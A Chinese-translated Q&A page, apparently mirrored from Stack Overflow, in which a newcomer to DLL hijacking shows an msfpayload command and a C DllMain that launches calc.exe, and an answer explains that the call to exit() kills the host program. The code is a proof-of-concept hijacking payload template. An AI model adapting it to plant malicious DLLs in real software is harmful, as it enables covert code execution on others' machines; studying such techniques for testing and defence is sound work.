簡體   English   中英

DLL劫持計算器C代碼

[英]Dll Hijacking calculator C code

嗨,大家好,我是Dll Hijacking的新手。 我的問題很少,希望您能幫助我澄清我的疑問。

假設我使用msfpayload生成calc dll

msfpayload windows/exec CMD=calc.exe D > abc.dll

由msfpayload生成的dll文件可以正常工作,並且計算器會與軟件一起提示。

所以我用下面的C代碼:

#include <windows.h>

int owned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

當我對此進行編譯並使用時,僅計算器會提示。 該軟件將無法執行。 這是為什么? 我使用MinGW GCC編譯器進行編譯。

該軟件將無法執行。 [這是為什么?

幾乎可以肯定,因為owned()調用exit() 這將終止該過程。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM